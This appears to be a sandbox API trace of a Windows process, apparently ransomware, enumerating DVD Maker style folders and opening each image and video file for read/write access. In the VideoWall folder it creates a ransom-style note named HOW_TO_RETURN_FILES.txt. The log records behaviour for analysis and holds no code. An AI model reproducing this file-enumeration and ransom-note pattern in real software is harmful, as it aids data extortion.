[0126.016] GetACP () returned 0x4e4 [0126.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Travel", cchWideChar=6, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Travelng", lpUsedDefaultChar=0x37df4c) returned 6 [0126.017] AreFileApisANSI () returned 1 [0126.017] GetACP () returned 0x4e4 [0126.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=51, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\h") returned 51 [0126.018] AreFileApisANSI () returned 1 [0126.018] GetACP () returned 0x4e4 [0126.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0126.018] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.018] AreFileApisANSI () returned 1 [0126.018] GetACP () returned 0x4e4 [0126.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0126.018] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.018] AreFileApisANSI () returned 1 [0126.018] GetACP () returned 0x4e4 [0126.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="16_9-frame-background.pngrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 25 [0126.019] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.019] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.019] AreFileApisANSI () returned 1 [0126.019] GetACP () returned 0x4e4 [0126.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="16_9-frame-highlight.pngg", lpUsedDefaultChar=0x37dec0) returned 24 [0126.019] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.020] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.020] AreFileApisANSI () returned 1 [0126.020] GetACP () returned 0x4e4 [0126.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="16_9-frame-image-inset.png", cchWideChar=26, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="16_9-frame-image-inset.pngUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 26 [0126.020] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.020] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.020] AreFileApisANSI () returned 1 [0126.020] GetACP () returned 0x4e4 [0126.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="btn-back-static.pngset.png", lpUsedDefaultChar=0x37dec0) returned 19 [0126.020] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.020] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.020] AreFileApisANSI () returned 1 [0126.020] GetACP () returned 0x4e4 [0126.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="btn-next-static.png", lpUsedDefaultChar=0x37dec0) returned 19 [0126.020] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.021] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.021] AreFileApisANSI () returned 1 [0126.021] GetACP () returned 0x4e4 [0126.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="btn-previous-static.png", cchWideChar=23, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="btn-previous-static.pngpng", lpUsedDefaultChar=0x37dec0) returned 23 [0126.021] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.021] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.021] AreFileApisANSI () returned 1 [0126.021] GetACP () returned 0x4e4 [0126.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button-bullet.png", cchWideChar=17, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="button-bullet.pngic.png", lpUsedDefaultChar=0x37dec0) returned 17 [0126.021] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.022] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.022] AreFileApisANSI () returned 1 [0126.022] GetACP () returned 0x4e4 [0126.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="button-highlight.pngpng", lpUsedDefaultChar=0x37dec0) returned 20 [0126.022] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.022] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.022] AreFileApisANSI () returned 1 [0126.022] GetACP () returned 0x4e4 [0126.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="content-background.png", cchWideChar=22, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="content-background.pngg", lpUsedDefaultChar=0x37dec0) returned 22 [0126.022] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.023] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.023] AreFileApisANSI () returned 1 [0126.023] GetACP () returned 0x4e4 [0126.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="header-background.png", cchWideChar=21, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="header-background.pngg", lpUsedDefaultChar=0x37dec0) returned 21 [0126.023] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.023] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.023] AreFileApisANSI () returned 1 [0126.023] GetACP () returned 0x4e4 [0126.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="passport.png", cchWideChar=12, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="passport.pnground.png", lpUsedDefaultChar=0x37dec0) returned 12 [0126.023] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.023] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.023] AreFileApisANSI () returned 1 [0126.023] GetACP () returned 0x4e4 [0126.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Passport.wmv", cchWideChar=12, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Passport.wmv", lpUsedDefaultChar=0x37dec0) returned 12 [0126.023] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.024] AreFileApisANSI () returned 1 [0126.024] GetACP () returned 0x4e4 [0126.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="passportcover.png", cchWideChar=17, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="passportcover.png.png", lpUsedDefaultChar=0x37dec0) returned 17 [0126.024] AreFileApisANSI () returned 1 [0126.024] GetACP () returned 0x4e4 [0126.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PassportMask.wmv", cchWideChar=16, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PassportMask.wmvg", lpUsedDefaultChar=0x37dec0) returned 16 [0126.024] AreFileApisANSI () returned 1 [0126.024] GetACP () returned 0x4e4 [0126.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PassportMask_PAL.wmv", cchWideChar=20, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PassportMask_PAL.wmvg", lpUsedDefaultChar=0x37dec0) returned 20 [0126.024] AreFileApisANSI () returned 1 [0126.024] GetACP () returned 0x4e4 [0126.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="passport_mask_left.png", cchWideChar=22, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="passport_mask_left.png", lpUsedDefaultChar=0x37dec0) returned 22 [0126.025] AreFileApisANSI () returned 1 [0126.025] GetACP () returned 0x4e4 [0126.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="passport_mask_right.png", cchWideChar=23, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="passport_mask_right.png", lpUsedDefaultChar=0x37dec0) returned 23 [0126.025] AreFileApisANSI () returned 1 [0126.025] GetACP () returned 0x4e4 [0126.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Passport_PAL.wmv", cchWideChar=16, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Passport_PAL.wmvght.png", lpUsedDefaultChar=0x37dec0) returned 16 [0126.025] AreFileApisANSI () returned 1 [0126.025] GetACP () returned 0x4e4 [0126.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="play-background.png", cchWideChar=19, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="play-background.png.png", lpUsedDefaultChar=0x37dec0) returned 19 [0126.025] AreFileApisANSI () returned 1 [0126.025] GetACP () returned 0x4e4 [0126.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="selection_subpicture.png", cchWideChar=24, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="selection_subpicture.pngng", lpUsedDefaultChar=0x37dec0) returned 24 [0126.026] AreFileApisANSI () returned 1 [0126.026] GetACP () returned 0x4e4 [0126.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="travel.png", cchWideChar=10, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="travel.pngsubpicture.png", lpUsedDefaultChar=0x37dec0) returned 10 [0126.026] AreFileApisANSI () returned 1 [0126.026] GetACP () returned 0x4e4 [0126.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TravelIntroToMain.wmv", cchWideChar=21, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TravelIntroToMain.wmvpng", lpUsedDefaultChar=0x37dec0) returned 21 [0126.026] AreFileApisANSI () returned 1 [0126.026] GetACP () returned 0x4e4 [0126.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TravelIntroToMainMask.wmv", cchWideChar=25, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TravelIntroToMainMask.wmvg", lpUsedDefaultChar=0x37dec0) returned 25 [0126.026] AreFileApisANSI () returned 1 [0126.026] GetACP () returned 0x4e4 [0126.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TravelIntroToMainMask_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TravelIntroToMainMask_PAL.wmvw5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 29 [0126.026] AreFileApisANSI () returned 1 [0126.027] GetACP () returned 0x4e4 [0126.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TravelIntroToMain_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TravelIntroToMain_PAL.wmv.wmv", lpUsedDefaultChar=0x37dec0) returned 25 [0126.028] AreFileApisANSI () returned 1 [0126.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0126.029] AreFileApisANSI () returned 1 [0126.029] GetACP () returned 0x4e4 [0126.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VideoWall", cchWideChar=9, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VideoWallcasion", lpUsedDefaultChar=0x37df4c) returned 9 [0126.029] AreFileApisANSI () returned 1 [0126.029] GetACP () returned 0x4e4 [0126.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=54, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\㖈h֠j\x04") returned 54 [0126.029] AreFileApisANSI () returned 1 [0126.029] GetACP () returned 0x4e4 [0126.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0126.029] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.030] AreFileApisANSI () returned 1 [0126.030] GetACP () returned 0x4e4 [0126.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0126.030] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.030] AreFileApisANSI () returned 1 [0126.030] GetACP () returned 0x4e4 [0126.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="203x8subpicture.png7pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 19 [0126.030] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.030] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.030] AreFileApisANSI () returned 1 [0126.030] GetACP () returned 0x4e4 [0126.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="videowall.png", cchWideChar=13, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="videowall.pngre.png", lpUsedDefaultChar=0x37dec0) returned 13 [0126.030] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.030] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0126.030] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0126.030] AreFileApisANSI () returned 1 [0126.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0126.030] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0126.031] GetFileType (hFile=0x130) returned 0x1 [0126.031] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0126.031] AreFileApisANSI () returned 1 [0126.031] GetACP () returned 0x4e4 [0126.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Vignette", cchWideChar=8, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Vignettel", lpUsedDefaultChar=0x37df4c) returned 8 [0126.032] AreFileApisANSI () returned 1 [0126.032] GetACP () returned 0x4e4 [0126.032] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=53, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\") returned 53 [0126.033] AreFileApisANSI () returned 1 [0126.033] GetACP () returned 0x4e4 [0126.033] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0126.033] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.033] AreFileApisANSI () returned 1 [0126.033] GetACP () returned 0x4e4 [0126.033] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0126.033] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.033] AreFileApisANSI () returned 1 [0126.033] GetACP () returned 0x4e4 [0126.033] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="1047x576black.pngf47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 17 [0126.033] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.033] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.033] AreFileApisANSI () returned 1 [0126.033] GetACP () returned 0x4e4 [0126.033] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="15x15dot.pngk.png", lpUsedDefaultChar=0x37dec0) returned 12 [0126.033] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.034] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.034] AreFileApisANSI () returned 1 [0126.034] GetACP () returned 0x4e4 [0126.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: 